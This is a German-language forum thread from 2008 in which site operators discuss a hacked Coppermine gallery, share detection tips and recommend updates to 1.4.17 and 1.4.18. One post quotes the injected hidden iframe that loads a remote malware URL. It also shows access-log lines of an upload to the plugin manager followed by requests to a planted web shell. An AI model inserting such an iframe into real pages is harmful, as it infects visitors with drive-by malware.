[baerlichkeit]

Hiho,
heute morgen hatte ich eine etwas unerfreuliche mail von Kerstin in meinem Postfach, Antivir fand mit der Heuristik (mein NOD blieb still ) ein Problem in meiner Coppermine-Galerie => html/infected.webpage.gen.

Wie sich herausgestellt hat, wurde in drei PHP-Seiten (und das beunruhigt mich dann doch ) ein Iframe an den Anfang gesetzt.

<iframe style="display: none" src="http://caatadgouk.com/dl/adv436.php" width="1" height="1"></iframe>

Diese Art von Hack scheint was ganz frisches zu sein, ich kann mir absolut nicht erklären wo der herkommt.

Siehe dazu auch den Thread im Coppermine-Forum.

http://forum.coppermine-gallery.net/...c,51671.0.html

Also, Leute die Coppermine haben sollten mal schauen...

Edit: ne neue Version von Coppermine soll das Problem beseitigen. Hilft aber nicht, wenn es schon passiert ist
Trotzdem, man sollte unbedingt updaten, vor allem wenn man bisher verschont wurde!
http://forum.coppermine-gallery.net/...c,51787.0.html

Viele Grüße
Andreas

[JoeJung]

Hallo Andreas,

vielen Dank für die Info - dann werde ich mal updaten. Wie merke ich, dass die Galerie bereits befallen ist? Beim Besuch bekomme ich von meinem Antivirusprogramm keine Fehlermeldungen.

Ich lade mal sämtliche PHP-Files vom Server runter und vergleiche sie mit den Original-Installationsdateien. Dann müsste ich merken, ob was geändert wurde.

Lg. Josef

[baerlichkeit]

Hallo Josef,
im Quellcode der generierten Seite schauen, ob da irgendwo ein ominöses Iframe auftaucht.

Bei mir (und den anderen wohl auch) ist folgendes passiert:

Heute Nacht ein Angriff, bei dem über eine Lücke im Upload-Teil der CPG eine Datei ins Plugin-Verzeichnis geladen wurde. (es gab auch Fälle in denen php-Dateien als zip/jpg ins Album Verzeichnis gepackt wurden)

91.78.72.131 - - [13/Apr/2008:16:19:45 +0200] "POST /pluginmgr.php?op=upload HTTP/1.1" 302 24245 "http://galerie.makrograf.com/pluginmgr.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:19:46 +0200] "GET /pluginmgr.php HTTP/1.1" 200 24217 "http://galerie.makrograf.com/pluginmgr.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:19:47 +0200] "GET /favicon.ico HTTP/1.1" 200 3638 "http://galerie.makrograf.com/pluginmgr.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:19:56 +0200] "GET /plugins/zacosmall.php HTTP/1.1" 200 5047 "-" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:19:57 +0200] "GET /favicon.ico HTTP/1.1" 200 3638 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:19:59 +0200] "POST /plugins/zacosmall.php HTTP/1.1" 200 26145 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:20:00 +0200] "GET /favicon.ico HTTP/1.1" 200 3638 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:20:07 +0200] "POST /plugins/zacosmall.php HTTP/1.1" 200 19002 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:20:07 +0200] "GET /favicon.ico HTTP/1.1" 200 3638 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"
91.78.72.131 - - [13/Apr/2008:16:20:12 +0200] "POST /plugins/zacosmall.php HTTP/1.1" 200 2037 "http://galerie.makrograf.com/plugins/zacosmall.php" "Opera/9.50 (Windows NT 6.0; U; en)"

Dieses zacosmall.php hat dann wohl die Dateien verändert. Zum Glück bei mir nur drei Stück, der Rest meines Webspaces scheint unberührt...

Logs durchstöbern und nach der upload-Funktion suchen hat bei mir den Zugriff gezeigt.

[Blackmike]

Da bei mir auch Coppermine läuft, welche Version hast du?

[baerlichkeit]

Ich hatte die 1.4.16, also die bis dato neuste.
Eben auf die 1.4.17 upgedatet... läuft wieder, bis jetzt noch nicht neu gehackt, mal abwarten

[Blackmike]

ätz, werd ich wohl auch machen müssen.... da werd ich mir beim bridgen ja wieder die finger brechen

[Blackmike]

Nachdem vor einer Woche Bärlichkeit mit dem Hinweis auf die cpg 1.4.17 kam (alte 1.4.16 hackbar über die upload routine)
Nun von mir der Hinweis auf die 1.4.18, wo eine weitere Möglichkeit einer sql injection gefixed wurde.

Hinwiese zum einem Update und Downloadmöglichkeit Hier

Da ja einige hier eine CPG betreiben vielleicht mal anschauen.

(Update ist übrigens problemlos, selbst die gebridgde Coppermine 1.4.18 in Joomla auf meiner HP läuft sauber)

Black

[the live]

danke für den Hinweis

Gruß
Andreas

[Gotico]

Siehe den Thread -> CPG hacked ab Posting #9.

Dort ging es schon um CPG 1.4.18. So könnte man doch eigentlich der Übersichtlichkeit wegen, diesen Thread einfach drüben unten ankleben

See ya, Maic.

[Blackmike]

Upps, sorry, stimmt.. ich hatte nur den Ursprungsthreat im Kopf gehabt.... und war halt eine Woche beruflich ohne Netz

Black